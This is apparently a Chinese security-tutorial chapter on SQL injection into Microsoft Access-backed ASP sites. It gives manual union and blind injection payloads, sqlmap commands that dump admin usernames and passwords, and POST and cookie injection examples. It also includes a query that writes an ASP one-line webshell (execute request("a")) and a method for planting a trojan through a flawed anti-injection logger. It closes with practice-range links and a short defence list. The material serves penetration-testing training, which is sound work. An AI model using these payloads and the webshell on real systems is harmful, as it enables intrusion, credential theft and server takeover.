5.1 使用sqlmap进行Access注入及防御
对于存在Access注入的站点,可以通过手工注入或者工具注入来获取Access数据库中的表内容,特别是获取网站后台管理表中的用用户名和密码
5.1.1 Access数据库简介
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine和图形用户界面两项特点,是 Microsoft Office的系统程序之一。
1. Access数据库结构
Access数据库此阿勇表名-列名-内容数据,她跟其他数据库不一样,例如:MySQL,MSSQL,像这类数据库需要先创建数据库名,而Access数据库则不需要创建,因为她是个mdb格式的文件,一个库可以包含多个表
2. 操作Access数据库
默认情况下Office会安装Access组件来创建数据库,对数据库中的表实施管理操作,可以通过Access数据库访问工具进行操作
5.1.2 Access注入基础
1. Access注入基本流程
(1) 判断有无注入
(2) 猜解表名
(3) 猜解字段
(4) 猜解管理员字段值
(5) 猜解用户名和密码长度
(6) 猜解用户名和密码
(7) 破解加密密码
(8) 寻找并登录后台
2. 常见的注入工具
常见的SQL注入工具有“HDSI 3.0 Goldsun干净拓宽版”、“Domain”、“Safe3”、“啊D工具”、“管中窥豹”、Havij、pangolin、WebCruiser和SQLmap等。目前仅仅SQLmap是开源,出于安全考虑,建议用sqlmap工具进行access注入。
3. 常见的查询方式
(1) 联合查询法(速度快,兼容性不好)
* and 1=1 and 1=2 ——判断注入
* order by 22 ——猜有多少列(12正确,13错误,则为12个)
* union select 1,2,3,4,5,6,7,8,9,10,11,12from admin 猜表名(报错说明表名不存在,将admin表换成别的继续猜测)
union select 1,2,username,4,5,6,7,8,9,10,11,12 from admin 猜列名(列名位置放置页面上显示的数字位置上,报错说明列名不存在,换列明继续猜,列名猜对后及出账号密码)
(2) 逐字猜解法(速度慢,兼容性好)
* and 1=1 and 1=2 ——判断注入
* and exists (select * from admin) 猜表名
* and exists (select user_name from admin) 猜列名 查数据:1.确定长度 2.确定asc数据(asc编码)
* and (select top 1 len(user_name ) fromadmin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)
* and (select top 1 asc(mid(user_name ,1,1))from admin)=97 判断第一位 (97代表‘a’的ascll值)
* and (select top 1 asc(mid(user_name ,2,1))from admin)=97 判断第二位
(user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位npass_word=a48e190fafc257d3)
4. 判断有无注入
(1) 粗略型:提交单引号’,id值-1、id值+1,判断页面显示信息不同或者出错信息。
(2) 逻辑型(数字型注入):and 1=1 , and 1=2;正常显示,内容与正常页面显示的结果基本相同;提示BOF或EOF(程序没做任何判断时),或提示找不到记录,或显示内容为空(程序加了on error resume next);在数据库中是否执行,and 1=1 永远为真所以页面返回正常,and 1=2永远为假所以返回的结果会出错,根据其结果来判断是否存在sql注入。
(3) 逻辑型(字符型注入):’and ’1′=’1/’ 、and ’1′=’2
(4) 逻辑型(搜索型注入):%’and 1=1 , and ‘%’='%/%’ , and 1=2 and ‘%’='%
5.1.3 sqlmap思路及命令
1. sqlmap Access注入操作指南
(1) 手工判断url是否存在SQL注入。通过在url传入参数处加入“’”、and 1=1、and 1=2等,查看页面是否出错,如果存在页面不一样或者有出错信息,则表明网站url存在sql注入。常见的错误信息如下:
Microsoft JET Database Engine 错误 ’80040e14′
在联合查询中所选定的两个数据表或查询中的列数不匹配。
/view.asp,行 26
以上信息表明数据库采用Access数据库。
(2) 使用sqlmap进行检测注入点是否可用
Sqlmap命令:sqlmap.py –u url
如果存在,则会提示进行相应操作,例如判断数据库中的表,如果不存在则无法继续。
(3) 检测表,执行“sqlmap.py –u url -- tables”命令来获取access数据库表,需要选择线程数,建议选择1-20之间,这个数过大,会导致网站无法打开。
(4) 获取数据库表内容
sqlmap.py –u url --tables --columns -T admin
如果存在管理员表admin,则可以通过以上命令来获取admin表中的列。
(5) 获取管理员admin表中的数据内容
sqlmap.py –u url --dump -T admin -C "username,password"
通过(4)获取admin表中存在username和password列,通过dump参数来获取该表中的所有数据。也可以通过sqlmap.py –u url –sql-query=”select username,password from admin”来获取admin表中的内容,还可以通过sqlmap.py –u url –sql-shell来进行sql查询交互使用。
2. 一个完整的access注入过程命令
(1) 注入点判断:sqlmap.py-u http://www.xxx.com/index.asp?id=1
(2) 猜数据库表:sqlmap.py -u http://www.xxx.com/index.asp?id=1 –tables
输入线程:10,回车后开始跑表,找到合适的表后,按下ctrl+c终止跑表。
(3) 对某个表进行字段猜解
sqlmap.py-u ” http://www.xxx.com/index.asp?id=1” –tables –columns -Tadmin
例如获取admin表的字段如下: id,username,password
(4) 对admin表字段内容进行猜解
sqlmap.py -u " http://www.xxx.com/index.asp?id=1"--dump -T admin -C "username,password"
(5) 获取明文密码或者加密密码。通过cmd5.com等在线网站进行明文密码破解。
(6) 寻找后台地址,并登录后台
(7) 通过后台管理寻求可以获取webshell的功能模块,尝试获取webshell。
知道web真实路径,且可以通过脚本执行查询,则可以通过查询来获取webshell,例如网站真实路径:d:freehostfred200903web,则查询语句为:
SELECT '<%execute request("a")%>' into [a] in ' D:freehostfred200903webx.asp;a.xls' 'excel 8.0;' from a Shell地址:http://www.somesite.com/x.asp;a.xls,一句话后门密码a,该shell对存在IIS解析漏洞的Windows服务器平台有效
5.1.4 Access 其他注入
1. Access POST登陆框注入
注入点:http://xxx.xxx.com/Login.asp
(1) 通过burpsurte抓包保存为txt文件,使用sqlmap进行自动注入例如对着注入点使用burp抓包,保存bmfx.txt文件,使用命令:
sqlmap.py -r bmfx.txt -p tfpasswd
(2) 自动搜索表单的方式
sqlmap-u http://xxx.xxx.com/Login.asp --forms
(3) 指定一个参数的方法
sqlmap -u http://xxx.xxx.com/Login.asp --data "tfUName=1&tfUPass=1"
2.Cookie注入
命令如下:
sqlmap -u "http://www.xxx.com/news.asp" --cookie "id=1" --table --level 2
5.1.5 Access SQL注入实战案例
此处实战可以直接使用墨者的靶机地址如下:
基础实战
SQL手工注入漏洞测试(Access数据库)
https://www.mozhe.cn/bug/detail/VExmTm05OHhVM1dBeGdYdmhtbng5UT09bW96aGUmozhe
高级一点的实战
SQL注入实战(防注入)-Access
https://www.mozhe.cn/bug/detail/VjFKQktvazRNcTdOYkg2cElONVppUT09bW96aGUmozhe
1. 使用AWVS扫描站点
打开AWVS,新建扫描目标,如图1所示,执行WebScanner,扫描结束后可以看到其高危提示显示存在多个SQL盲注。依次展开,获取其详细url地址。在该结果中还可以看到28web目录,该目录后后台地址
2. 手工测试注入点
在url地址地址后加入一个单引号,其url经过编码后显示为%27也即在浏览器中直接访问:http://www.b********n.com/company.asp?id=9&cid=4%27,提示存在类型不匹配,说明可能存在SQL注入。
3. 使用sqlmap检测注入点
使用sqlmap.py –u http://www.xxx.com/company.asp?id=9&cid=4进行注入点检测, SQLMAP已经检测出该url存在SQL注入地址,获取操作系统版本可能是Windows 10或者Windows 2016,数据库为Access。获取Access数据库中表的命令:sqlmap.py –u http://www.b********n.com/company.asp?id=9 --table
4.获取admin表内容
(1) 获取数据库表admin的列名及其导出表内容
依次使用下面的命令来获取数据库表admin的列名及其导出其表内容:
sqlmap.py –u http://www.xxx.com/company.asp?id=9 --tables --columns -T admin
sqlmap.py –u http://www.xxx.com/company.asp?id=9 --dump -T admin –C
(2) 可以通过sql-shell参数来交互查询获取数据
sqlmap.py –u http://www.xxx.com/company.asp?id=9 --sql-shell
执行上面命令后,执行selectusername,password from admin查询来获取当前的所有用户及密码。
5. 登录后台地址
使用地址http://www.xxx.com/28web进行登录,如图6所示成功登录后台。在wvs扫描结果中可以看到有admin_chklogin.asp,所以28web为后台登陆地址。
6. sqlmap查询结果
sqlmap的日志文件以及数据库dump文件均在C:UsersAdministrator.sqlmapoutput argnet.com目录下。targnet.com为执行注入测试的名称。不同的用户需要修改Administrator为对应的用户名称
7. 技巧
可以使用sqlmap.py –u http://www.xxx.com/company.asp?id=9 –a --batch --smart自动获取所有信息。
5.1.6 SQL通用防注入系统ASP版获取webshell
在Access+ASP架构中,很多网站采用通用防注入系统来防范SQL注入攻击,该系统确实在一定程度上可以防范SQL注入,但是其设计存在一个重大的缺陷,将注入操作的URL数据写入ASP文件中,如果在内容中插入ASP一句话加密木马内容,就可以获取webshell
1. 来自CTF通过的提示
2. 测试语句
1 and 1=1 提示非法操作,同时记录了程序的操作IP,操作时间,操作页面,提交方式,提交参数,提示攻击者网站是有安全防护
3. 使用sqlmap绕过防火墙进行注入测试
经过测试通过使用sqlmap对URL地址进行绕过测试,并未成功
4. 使用加密的ASP一句话木马
此处作者使用的是加密的乱码一句话
5. 访问sqlin.asp
http://www.xxx.com/sqlin.asp
6. 获取webshell
使用菜刀连接 http://www.xxx.com/sqlin.asp
7. 获取key值
8. 漏洞分析
(1) news.asp文件
(2) SQL注入防范程序分析
(3) 安全建议
存在参数传入的地方一定要进行过滤,同时进行类型的严格检查和限定,在本例中使用SQL防范程序可以解决SQL注入,但是如果SQL防范程序存在缺陷的情况,将导致网站存在安全风险,本例可以将sqlin.asp修改为mdb文件也是可以避免
5.1.7 安全防御
(1) 对所有涉及传入参数进行过滤
(2) 使用SQL防注入代码
在连接数据库的下方加入SQL注入防范代码
(3) 使用WAF等防护软件
(4) 数据库登陆账户权限分开,采用最低授权原则
(5) 数据库连接账号要设置强健的密码
(6) 对网站进行安全检查及扫描,即使修复存在的漏洞,特别是禁止在网站根目录打包源代码,防止数据库等配置文件泄露
(7) 禁止在网站目录进行数据库备份
发现作者也把这篇文章发到互联网上去了,具体如下:
https://4hou.win/wordpress/?p=17495